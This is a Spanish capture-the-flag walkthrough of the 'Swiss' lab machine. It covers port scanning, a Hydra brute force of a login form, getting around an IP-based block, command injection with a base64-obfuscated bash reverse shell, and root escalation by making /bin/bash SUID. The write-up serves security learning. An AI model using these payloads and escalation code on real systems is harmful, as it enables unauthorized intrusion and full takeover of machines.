> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/swiss-write-up.md). # Swiss write-up ## **Verificamos conexión con la máquina víctima**
## **Escaneo de puertos abiertos y explotación de vulnerabilidades** Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando: ```bash sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2 ```
El escaneo nos indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:
Si ahora inspeccionamos el código fuente contemplamos lo siguiente:
Descubrimos la ruta `./sobre-mi/index.php`, así que hacemos clic y contemplamos lo siguiente:
Si ahora volvemos a inspeccionar el código fuente veremos lo siguiente:
Observamos una redirección a la ruta `sms.php`, hacemos clic y observamos lo siguiente:
Inspeccionado el código fuente examinamos lo siguiente:
Así que ahora vamos a hacer un ataque de fuerza bruta con la herramienta llamada hydra ejecutando lo siguiente: ```bash hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P ../rockyou.txt 172.17.0.2 http-post-form '/sobre-mi/login.php:username=^USER^&password=^PASS^:F=Usuario o contraseña incorrectos.' -F -V -t 64 -I -u ```
Esto nos indica las credenciales `administrator:panther`. Así que iniciamos sesión y observamos lo siguiente:
Esto nos indica que las credenciales `darks:_dkvndsqwcdfef34445`. Así que iniciamos sesión por el servicio SSH y presenciamos lo siguiente:
Esto confirma que efectivamente se está cortando la conexión dependiendo que IP se conecte. Así que vamos a ir cambiándola con el siguiente comando mientra volvemos a intentar conectarnos. ``` sudo ip address del /16 dev docker0 sudo ip address add /16 dev docker0 ``` Probando vemos que con la IP `172.17.0.200` nos permite conectarnos a la máquina víctima.
Sin embargo, observamos que la shell obtenida está restringida. Además nos encontramos un mensaje que dice lo siguiente:
Buscando el fallo de seguridad encontramos un parámetro vulnerable en la ruta `http://172.17.0.2/sobre-mi/confidencial.php` usando la herramienta `wfuzz` con el siguiente comando: ```bash wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://172.17.0.2/sobre-mi/confidencial.php?FUZZ=whoami" -t 200 --hl=44 ```
Así que ahora vamos a enviarnos un shell interactiva introduciendo lo siguiente en el parámetro: ```bash echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4yMDAvNDQ0NCAwPiYx" | base64 -d | bash ``` Que url encodeada sería de está manera: ```url %65%63%68%6f%20%22%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4e%7a%49%75%4d%54%63%75%4d%43%34%79%4d%44%41%76%4e%44%51%30%4e%43%41%77%50%69%59%78%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68 ``` Así que nos ponemos en escucha e ingresamos `http://172.17.0.2/sobre-mi/confidencial.php?cmd=%65%63%68%6f%20%22%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4e%7a%49%75%4d%54%63%75%4d%43%34%79%4d%44%41%76%4e%44%51%30%4e%43%41%77%50%69%59%78%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68` en el navegador.
Observamos que nuestra sesión se vuelve a cortar, así que tendremos que iniciar sesión rápidamente como el usuario `darks:_dkvndsqwcdfef34445` para que no se corte la conexión.
## **Escalada de privilegios** Una vez dentro de la máquina víctima, encontramos el archivo `sendinv2`, el cual se encuentra en la ruta `/var/www/`. Como se trata de archivo en binario nos lo vamos a compartir a nuestra máquina víctima con ayuda de Python. ```bash python3 -m http.server 8080 ``` ```bash wget -O- 172.17.0.2:8080/sendinv2 > sendinv2 ```
Ahora ejecutaremos lo siguiente para inspeccionar el archivo: ```bash strings sendinv2 ```
Vemos que aparece un mensaje de error al intentarse conectar a la IP 172.17.0.188. Así que ahora ejecutaremos el binario en la máquina víctima.
Y a continuación, cambiamos nuestra IP a la 172.17.0.188. ```bash sudo ip address del 172.17.0.200/16 dev docker0 sudo ip address add 172.17.0.188/16 dev docker0 ```
Ahora ejecutamos lo siguiente para analizar el trafico de red en tiempo real: ```bash sudo tcpdump -i docker0 ```
Vemos que se está intentando conectar por el protocolo udp a través del puerto `7777`. Así que nos pondremos en escucha con el siguiente comando: ```bash sudo nc -nvvulp 7777 ```
Observamos que se nos está enviando lo siguiente: ```plaintext MFDTS42ZKNCWOYZSHF2GEM2NM5NFO53HLIZUUMLDI44GOULNPBUFSMTUIRMVQULTJFEEE3DCNZHGQYSXHF5ESR2WOVEUOVTVLEZUU4DDJBJGQY3JIJWGGM2SNQFESSCONRRW4WTMMNUUE522LBFHMSKHGV3ESSCSOBNFONLMJFDTK2C2I5CWOWSHKVTWCVZVGBNFQSTMMN4XOZ3EI5KWOWKXNB3GG3SKNBRW2VLHMRDWY3DCLBBHMCSPNFBGUY3NNR5GIR2GONHW2UTZMIZUE2TBI44XUZCHHF3U4RCVPJKTA4CHJFCG6Z22I5WHUWTOJIYWIR2FJMFA==== ``` Para desencriptarlo ejecutamos lo siguiente: ```bash echo -n "MFDTS42ZKNCWOYZSHF2GEM2NM5NFO53HLIZUUMLDI44GOULNPBUFSMTUIRMVQULTJFEEE3DCNZHGQYSXHF5ESR2WOVEUOVTVLEZUU4DDJBJGQY3JIJWGGM2SNQFESSCONRRW4WTMMNUUE522LBFHMSKHGV3ESSCSOBNFONLMJFDTK2C2I5CWOWSHKVTWCVZVGBNFQSTMMN4XOZ3EI5KWOWKXNB3GG3SKNBRW2VLHMRDWY3DCLBBHMCSPNFBGUY3NNR5GIR2GONHW2UTZMIZUE2TBI44XUZCHHF3U4RCVPJKTA4CHJFCG6Z22I5WHUWTOJIYWIR2FJMFA====" | base32 -d | base64 -d ```
Ahora que hemos obtenido las credenciales del usuario cristal (cristal:dropchostop453SJF), volvemos a cambiar nuestra IP a `172.17.0.200` y iniciamos sesión como el usuario `cristal`.
Ahora que somos el usuario `cristal`, nos encontramos con el archivo `/home/cristal/systm.sh`, el cual vemos que se ejecuta como usuario `root` al analizar los procesos.
Este archivo compila cada 15 segundo el archivo `/home/cristal/systm.c` y lo nombra `/home/cristal/syst`, para después ejecutarlo.
Así que vamos a cambiar el contenido del archivo `/home/cristal/systm.c` para que de permisos SUID al binario `/bin/bash`. Ingresaremos lo siguiente: ```c #include #include #include #include int main() { const char *bash_path = "/bin/bash"; // Cambia el owner a root if (chown(bash_path, 0, 0) != 0) { perror("chown"); return 1; } // Cambia permisos: agrega bit SUID if (chmod(bash_path, 04755) != 0) { perror("chmod"); return 1; } printf("✅ /bin/bash ahora tiene SUID.\n"); return 0; // Opcional, pero buena práctica } ``` Finalmente, solo nos quedaría ejecutar el comando `bash -p` y obtendríamos una shell con privilegios elevados.